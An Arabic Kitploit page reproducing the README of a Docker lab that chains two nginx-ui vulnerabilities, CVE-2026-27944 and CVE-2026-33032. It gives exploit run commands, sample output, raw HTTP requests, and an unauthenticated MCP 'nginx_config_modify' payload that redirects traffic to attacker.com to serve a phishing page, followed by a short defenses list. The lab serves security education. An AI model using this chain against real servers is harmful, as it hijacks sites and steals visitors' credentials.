Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33032-nginx-ui-vuln-lab — إعداد Docker Compose لتوضيح ثغرة نقص المصادقة في nginx-ui | Kitploit
أدوات/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرمختبرات وتدريب عملي
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

إعداد Docker Compose لتوضيح ثغرة نقص المصادقة في nginx-ui

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-27944 + CVE-2026-33032 — مختبر استغلال nginx-ui بدون بيانات اعتماد

إخلاء مسؤولية: هذا المستودع مخصص لأغراض البحث الأمني التعليمي والمصرح به فقط. يجب استخدام جميع التقنيات الموضحة هنا فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام. لا تقم بتشغيل هذا ضد أي نظام دون إذن.

مختبر Docker Compose متكامل يوضح سلسلة من ثغرتين ضد nginx-ui v2.3.1 تحقق السيطرة الكاملة على nginx مع صفر معرفة مسبقة — بدون أسماء مستخدمين، بدون كلمات مرور، بدون رموز.


سلسلة الثغرات

CVE-2026-27944 — نقطة نهاية النسخ الاحتياطي غير المصادق عليها + كشف المفتاح

GET /api/backup لا يتطلب أي مصادقة. تعيد نقطة النهاية نسخة احتياطية مشفرة كاملة من تثبيت nginx-ui — بما في ذلك app.ini — وترسل مفتاح فك تشفير AES-256-CBC و IV كنص واضح في ترويسة الاستجابة:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

من المصدر (api/backup/router.go):

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ بدون middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

فك تشفير النسخة الاحتياطية ينتج app.ini، الذي يحتوي على [node] Secret المطلوب للخطوة 2.

CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 حرجة
المتأثرnginx-ui < 2.3.2
تم الإصلاح فيnginx-ui 2.3.3

CVE-2026-33032 "MCPwn" — معالج رسائل MCP غير مصادق عليه

أضاف nginx-ui v2.3.x واجهة بروتوكول سياق النموذج (MCP) تعرض 12 أداة لإدارة nginx. الخلل هو استدعاء middleware مفقود واحد في mcp/router.go:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ AuthRequired() مفقود

مع sessionId تم الحصول عليه عبر سر العقدة، يمكن للمهاجم إرسال POST إلى /mcp_message بدون بيانات اعتماد مستخدم واستدعاء أي أداة مميزة — بما في ذلك nginx_config_modify و reload_nginx.

CVECVE-2026-33032
الاسم المستعارMCPwn (Pluto Security)
CVSS9.8 حرجة
المتأثرnginx-ui ≤ 2.3.3
تم الإصلاح فيnginx-ui 2.3.4

بنية المختبر

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  المتصفح                                                  │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  المهاجم                           ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) ضعيف       │
│  (بدون بيانات اعتماد)          uozi/nginx-ui:v2.3.1      │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (أخضر)           │  نموذج تسجيل    │
│              │  proxy_pass الافتراضي    │  دخول شرعي      │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site (أحمر)   │  نسخة تصيد      │
│              │  proxy_pass بعد الهجوم   │  تجمع بيانات    │
│              └─────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

nginx-ui يضم مثيل nginx خاص به. عندما يستدعي الاستغلال reload_nginx عبر MCP، فإنه يعيد تحميل نفس nginx الذي يخدم حركة المرور على :8080 — بدون الحاجة إلى وصول للمضيف.


بدء سريع

المتطلبات: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
الرابط
http://localhost:8080موقع الضحية — أخضر (شرعي)
http://localhost:9000لوحة إدارة nginx-ui

تشغيل الاستغلال

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

يربط السكربت كلتا الثغرتين بدون بيانات اعتماد مسبقة:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui Zero-Cred RCE
  الهدف : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — تنزيل النسخة الاحتياطية (بدون مصادقة)
[+] مفتاح AES+IV من الترويسة: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] تم استخراج سر العقدة: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — فتح جلسة MCP غير مصادق عليها (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] الاستطلاع — قراءة الإعداد الحالي
[+] الحالي: proxy_pass http://webapp:80;

[*] الكتابة فوق default.conf عبر POST /mcp_message (بدون مصادقة)
[+] الجديد:     proxy_pass http://malicious_site:80;

[*] إعادة تحميل nginx عبر POST /mcp_message (بدون مصادقة)
[+] تم إعادة تحميل nginx — الإعداد نشط

[!] اكتمل الهجوم.
    الضحايا على http://localhost:8080/ يتلقون الآن صفحة التصيد.
    عرض بيانات الاعتماد الملتقطة: http://localhost:8080/?debug=1

بعد الاستغلال، يتحول http://localhost:8080 من الصفحة الشرعية الخضراء إلى نسخة التصيد الحمراء — على نفس الرابط، بدون أي إشارة للضحية.

افتح http://localhost:8080/?debug=1 لكشف لوحة المهاجم ورؤية بيانات الاعتماد الملتقطة في الوقت الفعلي.

إعادة التعيين

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

يستخدم نفس سلسلة الثغرات لاستعادة الإعداد الأصلي وإعادة تحميل nginx.


كيف يعمل

المرحلة 1 — استخراج سر العقدة (CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: target:9000

الاستجابة:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

فك تشفير ملف zip بالمفتاح/IV المقدمين → استخراج app.ini → قراءة [node] Secret.

المرحلة 2 — اختطاف nginx (CVE-2026-33032)

الطلب 1 — فتح جلسة SSE (سر العقدة، بدون مصادقة مستخدم):

root@kitploit:~
GET /mcp?node_secret=<uuid>

يستجيب تدفق SSE بـ sessionId.

الطلب 2+ — استدعاء الأدوات (بدون مصادقة إطلاقاً):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

بدون ترويسة Authorization. بدون ملف تعريف ارتباط. AuthRequired() غائب ببساطة عن مسار /mcp_message.


أدوات MCP المتاحة (جميعها قابلة للوصول بدون مصادقة)

الأداةالتأثير
nginx_config_modifyالكتابة فوق أي ملف إعداد
nginx_config_addإنشاء ملفات إعداد جديدة
nginx_config_getقراءة أي ملف إعداد
nginx_config_listسرد جميع الإعدادات
nginx_config_enable/disableتفعيل/تعطيل إعدادات المواقع
nginx_config_renameنقل/إعادة تسمية ملفات الإعداد
nginx_config_mkdirإنشاء مجلدات
nginx_config_historyعرض سجل التغييرات
nginx_config_base_pathكشف مسار جذر الإعدادات
nginx_statusالتحقق من حالة nginx
reload_nginxتطبيق تغييرات الإعداد مباشرة
restart_nginxإعادة تشغيل كاملة لـ nginx

الدفاعات

  • التحديث — الترقية إلى nginx-ui ≥ 2.3.4
  • عزل الشبكة — لا تعرض nginx-ui أبداً لشبكات غير موثوقة؛ ضعه خلف VPN أو جدار حماية
  • قائمة السماح بالعناوين — قم بتعيين [node] IPWhiteList غير فارغ في app.ini لتقييد وصول MCP لعناوين IP محددة
  • المصادقة متعددة العوامل — تفعيل المصادقة متعددة العوامل على حساب المسؤول
  • مراقبة تكامل الملفات — مراقبة /etc/nginx/conf.d/ مع مراقبة تكامل الملفات (auditd, Wazuh, إلخ.)
تنزيل الأداة